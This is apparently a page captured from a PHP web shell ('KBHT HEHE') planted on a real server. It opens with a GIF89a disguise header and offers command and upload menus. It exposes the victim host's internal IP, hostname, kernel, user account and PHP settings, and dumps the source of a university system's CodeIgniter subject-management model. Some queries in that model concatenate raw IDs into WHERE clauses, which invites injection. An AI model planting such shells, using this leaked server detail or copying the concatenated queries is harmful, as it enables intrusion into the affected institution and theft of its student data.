GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.223.158.132
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/SubjectManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Subjects
 *
 * @author Softpro India Pvt. Ltd.
 */
class SubjectManagement extends CI_Model {

    function createNewSubject(array $newSubjectInfo) {
        $this->db->insert('subject_mst', $newSubjectInfo);
        return $this->db->insert_id();
    }

    function getAllSubjects() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id = STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_updated_on", "desc");
        return $this->db->get();
    }

    function getAllActiveNonDeletedSubjects() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id = STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_active_status", "T");
        $this->db->where("SM.sm_delete_status", "F");
        $this->db->order_by("SM.sm_updated_on", "desc");
        return $this->db->get();
    }

    function getAllDeletedSubjects() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id = STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_delete_status", "T");
        $this->db->order_by("SM.sm_updated_on", "desc");
        return $this->db->get();
    }

    function getSubjectInfoBy($subject_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_id", $subject_id);
        return $this->db->get();
    }

    function getSubjectInfoByName($subject_name) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_name", $subject_name);
        return $this->db->get();
    }

    function getSubjectInfoByCode($subject_code) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_code", $subject_code);
        return $this->db->get();
    }

    function getNonDeletedActiveSubjectsByCourse($course) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_active_status", "T");
        $this->db->where("SM.sm_delete_status", "F");
        $this->db->where("SM.course_id", $course);
        $this->db->order_by("SM.sm_semester", "asc");
        return $this->db->get();
    }

    function getNonDeletedActiveSubjectsByMltipleCourse($course) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_active_status", "T");
        $this->db->where("SM.sm_delete_status", "F");
        $this->db->where("SM.course_id IN (" . implode(",", $course) . ")");
        $this->db->order_by("SM.sm_semester", "asc");
        return $this->db->get();
    }

    function getNonDeletedActiveSubjectsByCourseSemester($course, $semester) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_mst SM');
        $this->db->join('subject_type_mst STM', "SM.st_id=STM.st_id");
        $this->db->join('tbl_course_master TCM', 'SM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SM.sm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SM.sm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SM.sm_active_status", "T");
        $this->db->where("SM.sm_delete_status", "F");
        $this->db->where("SM.course_id", $course);
        $this->db->where("SM.sm_semester", $semester);
        $this->db->order_by("SM.sm_code", "ASC");
        return $this->db->get();
    }

    function isSubjectNameSafeUpdate($sm_id, $subject_name) {
        $this->db->select("*");
        $this->db->from('subject_mst');
        $this->db->where('sm_name', $subject_name);
        $this->db->where('sm_id != ' . $sm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isSubjectCodeSafeUpdate($sm_id, $subject_code) {
        $this->db->select("*");
        $this->db->from('subject_mst');
        $this->db->where('sm_code', $subject_code);
        $this->db->where('sm_id != ' . $sm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateSubjectInfo(array $subjectUpdatedInfo) {
        $this->db->where('sm_id', $subjectUpdatedInfo['sm_id']);
        return $this->db->update('subject_mst', $subjectUpdatedInfo);
    }

    /* Functions For Subject Sets & Sub-Sets */

    function createNewSubjectSet(array $newSubjectSetInfo) {
        $this->db->insert('subject_set_mst', $newSubjectSetInfo);
        return $this->db->insert_id();
    }

    function createNewSubjectSubSetMulti(array $newSubjectSubSetBatch) {
        $this->db->insert_batch('subject_subset_mst', $newSubjectSubSetBatch);
        return $this->db->insert_id();
    }

    function getAllSubjectSets() {
        $this->db->select("SSM.ssm_id,SSM.ssm_name,SSM.ssm_active_status,SSM.ssm_delete_status,SSM.ssm_added_by,"
                . "SSM.ssm_added_on,SSM.ssm_updated_by,SSM.ssm_updated_on,SSM.course_id,TCM.course_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_set_mst SSM');
        $this->db->join('tbl_course_master TCM', 'SSM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SSM.ssm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SSM.ssm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SSM.ssm_updated_on", "desc");
        return $this->db->get();
    }

    function getAllSubjectSubSetsBy($ssm_id) {
        $this->db->select("SSSM.sssm_id,SSSM.ssm_id,SSSM.sm_id,SM.sm_name,SM.sm_code,SM.sm_type");
        $this->db->from('subject_subset_mst SSSM');
        $this->db->join('subject_mst SM', 'SSSM.sm_id = SM.sm_id');
        $this->db->where("SSSM.ssm_id", $ssm_id);
        return $this->db->get();
    }

    function getSubjectSetInfoByName($subject_set_name) {
        $this->db->select("SSM.ssm_id,SSM.ssm_name,SSM.ssm_active_status,SSM.ssm_delete_status,SSM.ssm_added_by,"
                . "SSM.ssm_added_on,SSM.ssm_updated_by,SSM.ssm_updated_on,SSM.course_id,TCM.course_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_set_mst SSM');
        $this->db->join('tbl_course_master TCM', 'SSM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SSM.ssm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SSM.ssm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SSM.ssm_name", $subject_set_name);
        return $this->db->get();
    }

    function getSubjectSetInfoByCourse($subject_set_course) {
        $this->db->select("SSM.ssm_id,SSM.ssm_name,SSM.ssm_active_status,SSM.ssm_delete_status,SSM.ssm_added_by,"
                . "SSM.ssm_added_on,SSM.ssm_updated_by,SSM.ssm_updated_on,SSM.course_id,TCM.course_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_set_mst SSM');
        $this->db->join('tbl_course_master TCM', 'SSM.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SSM.ssm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SSM.ssm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SSM.course_id", $subject_set_course);
        return $this->db->get();
    }

    function isSubjectSetNameSafeUpdate($ssm_id, $subject_set_name) {
        $this->db->select("*");
        $this->db->from('subject_set_mst');
        $this->db->where('ssm_name', $subject_set_name);
        $this->db->where('ssm_id != ' . $ssm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateSubjectSetInfo(array $subjectSetUpdatedInfo) {
        $this->db->where('ssm_id', $subjectSetUpdatedInfo['ssm_id']);
        return $this->db->update('subject_set_mst', $subjectSetUpdatedInfo);
    }

    /* Functions For Subject-Student Allotment */

    function createNewSubjectStudentAllotmentMulti(array $newSubjectSetAllotBatch) {
        $this->db->insert_batch('student_subject_allot', $newSubjectSetAllotBatch);
        return $this->db->insert_id();
    }

    function getAllottedSubjectInfoBy($course_id = '', $semester = '', $subjectAllot = '') {
        $this->db->select("*");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("subject_mst SSM", "SSA.sm_id = SSM.sm_id");
        $this->db->join("tbl_student_personal_info TSPI", "SSA.tspi_id = TSPI.tspi_id");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->join("tbl_student_semester_section_info TSSSI", "TSPI.tspi_id = TSSSI.tspi_id");
        $this->db->where("TSPI.tspi_status", "CE");
        $this->db->where("SSA.ssa_delete_status", "F");
        $this->db->where("SSA.ssa_semester = TSSSI.tsssi_semester");
        if ($course_id != '') {
            $this->db->where("TCM.course_id", $course_id);
        }
        if ($semester != '') {
            $this->db->where("SSA.ssa_semester", $semester);
        }
        if ($subjectAllot != '') {
            $this->db->where("SSA.sm_id", $subjectAllot);
        }
        $this->db->order_by("SSA.ssa_updated_on", "desc");
        return $this->db->get();
    }

    function getAllottedSubjectInfoById($ssa_id) {
        $this->db->select("*");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("subject_mst SSM", "SSA.sm_id = SSM.sm_id");
        $this->db->join("tbl_student_personal_info TSPI", "SSA.tspi_id = TSPI.tspi_id");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->join("tbl_student_semester_section_info TSSSI", "TSPI.tspi_id = TSSSI.tspi_id");
        $this->db->where("TSPI.tspi_status", "CE");
        $this->db->where("SSA.ssa_semester = TSSSI.tsssi_semester");
        $this->db->where("SSA.ssa_id", $ssa_id);
        return $this->db->get();
    }

    function checkSafeToUpdateStudentSubject($tspi_id, $sm_id) {
        $this->db->select("*");
        $this->db->from("subject_tech_allot STA");
        $this->db->join("student_tech_allot STTA", "STTA.sta_id=STA.sta_id");
        $this->db->where("STA.sm_id", $sm_id);
        $this->db->where("STTA.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function deleteStudentSubjectAllotInfo($ssa_id) {
        $this->db->where("ssa_id", $ssa_id);
        return $this->db->delete("student_subject_allot");
    }

    function updateStudentSubjectAllotInfo(array $setAllotUpdatedInfo) {
        $this->db->where('ssa_id', $setAllotUpdatedInfo['ssa_id']);
        return $this->db->update('student_subject_allot', $setAllotUpdatedInfo);
    }

    /* Functions For Subject Types */

    function createNewSubjectType(array $newSubjectTypeInfo) {
        $this->db->insert('subject_type_mst', $newSubjectTypeInfo);
        return $this->db->insert_id();
    }

    function getAllSubjectTypes() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_type_mst STM');
        $this->db->join('tbl_staff_members TSMA', "STM.st_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "STM.st_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("STM.st_updated_on", "desc");
        return $this->db->get();
    }

    function getSubjectTypeInfoBy($subject_type_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_type_mst STM');
        $this->db->join('tbl_staff_members TSMA', "STM.st_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "STM.st_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("STM.st_id", $subject_type_id);
        return $this->db->get();
    }

    function getSubjectTypeInfoByName($subject_type_name) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('subject_type_mst STM');
        $this->db->join('tbl_staff_members TSMA', "STM.st_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "STM.st_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("STM.st_name", $subject_type_name);
        return $this->db->get();
    }

    function isSubjectTypeNameSafeUpdate($st_id, $subject_type_name) {
        $this->db->select("*");
        $this->db->from('subject_type_mst');
        $this->db->where('st_name', $subject_type_name);
        $this->db->where('st_id != ' . $st_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateSubjectTypeInfo(array $subjectTypeUpdatedInfo, $st_id) {
        $this->db->where('st_id', $st_id);
        return $this->db->update('subject_type_mst', $subjectTypeUpdatedInfo);
    }

    /* Functions For Teacher-Subject Allotment */

    function saveSubjectTeacherAllotmentDetails(array $subjectTeacherAllomentArray) {
        $this->db->insert("subject_tech_allot", $subjectTeacherAllomentArray);
        return $this->db->insert_id();
    }

    function getSubjectTeacherAllotementDetails($sta_id = '', $reqDept = '', $reqSubDept = '', $reqCourse = '', $reqDesigType = '', $reqEmp = '', $reqSemester = '', $reqSubject = '', $reqSession = '') {
        $this->db->select("*,STA.session_id as subject_tech_session");
        $this->db->from("subject_tech_allot STA");
        $this->db->join("subject_mst SM", "SM.sm_id=STA.sm_id");
        $this->db->join('tbl_staff_members TSMU', "TSMU.smember_id = STA.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->join('tbl_course_master CO', 'CO.course_id = SM.course_id');
        if ($sta_id != '') {
            $this->db->where("STA.sta_id", $sta_id);
        }
        if ($reqCourse != '') {
            $this->db->where("CO.course_id", $reqCourse);
        }
        if ($reqEmp != '') {
            $this->db->where("STA.smember_id", $reqEmp);
        }
        if ($reqSemester != '') {
            $this->db->where("sm.sm_semester", $reqSemester);
        }
        if ($reqSubject != '') {
            $this->db->where("sm.sm_id", $reqSubject);
        }
        if ($reqSession != '') {
            $this->db->where("STA.session_id", $reqSession);
        }
        return $this->db->get();
    }

    function updateSubjectTeacherAllotementDetails(array $allotmentData, $sta_id) {
        $this->db->where("sta_id", $sta_id);
        return $this->db->update("subject_tech_allot", $allotmentData);
    }

    /* Functions For Teacher-Student Allotment */

    function createTeacherStudentAllotment(array $studentTeacherAllotmentData) {
        $this->db->insert_batch('student_tech_allot', $studentTeacherAllotmentData);
        return $this->db->insert_id();
    }

    function deleteStudentTeacherAllotInfo($stta_id) {
        $this->db->where("stta_id", $stta_id);
        return $this->db->delete("student_tech_allot");
    }

    function getAllotedSubjectBy($smember_id, $session = '', $limit = '') {
        $this->db->select("*");
        $this->db->from("subject_tech_allot STA");
        $this->db->join("subject_mst SM", "SM.sm_id = STA.sm_id");
        $this->db->join('tbl_staff_members TSMU', "TSMU.smember_id = STA.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($session != '') {
            $this->db->where('STA.session_id', $session);
        }
        if ($limit != '') {
            $this->db->limit($limit, 0);
        }
        $this->db->where('STA.smember_id', $smember_id);
        $this->db->order_by('SM.sm_name');
        return $this->db->get();
    }

    function getSubjectDetailsBy($sta_id) {
        $this->db->select("*");
        $this->db->from("subject_tech_allot STA");
        $this->db->join("subject_mst SM", "SM.sm_id=STA.sm_id");
        $this->db->where("STA.sta_id", $sta_id);
        return $this->db->get();
    }

    /* Function Related To Student Attendance */

    function getAllSubjectsAllotedToStudent($tspi_id, $semester) {
        $this->db->select("*");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("subject_tech_allot STA", "SSA.sm_id=STA.sm_id");
        $this->db->join("student_tech_allot STTA", "STA.sta_id=STTA.sta_id");
        $this->db->join("subject_mst SM", "SSA.sm_id = SM.sm_id");
        $this->db->where("SSA.tspi_id=STTA.tspi_id");
        $this->db->where("SSA.tspi_id", $tspi_id);
        $this->db->where("SSA.ssa_semester", $semester);
        return $this->db->get();
    }

    function getDistinctSubjectBy($semester, $course_id, $session) {
        $this->db->distinct();
        $this->db->select("SM.sm_id,SM.sm_name,SM.sm_code");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("subject_mst SM", "SM.sm_id=SSA.sm_id");
        $this->db->where("SSA.ssa_semester", $semester);
        $this->db->where("SM.course_id", $course_id);
        $this->db->where("SSA.ssa_session", $session);
        $this->db->order_by("SM.sm_name");
        return $this->db->get();
    }

    function getTeacherSubjectStudentAllotementDetailsBy($sm_id, $tspi_id, $session) {
        $this->db->select("*");
        $this->db->from("subject_tech_allot STA");
        $this->db->join("student_tech_allot STTA", "STTA.sta_id=STA.sta_id");
        $this->db->where("STA.sm_id", $sm_id);
        $this->db->where("STA.session_id", $session);
        $this->db->where("STTA.tspi_id", $tspi_id);
        return $this->db->get();
    }

    function getDistinctSubjectAllotedInSession($session_id) {
        $this->db->distinct();
        $this->db->select("SM.sm_id,SM.sm_name,SM.sm_code");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("subject_mst SM", "SM.sm_id=SSA.sm_id");
        $this->db->where("SSA.ssa_session", $session_id);
        $this->db->order_by("SM.sm_name");
        return $this->db->get();
    }

}

KBHT - 2023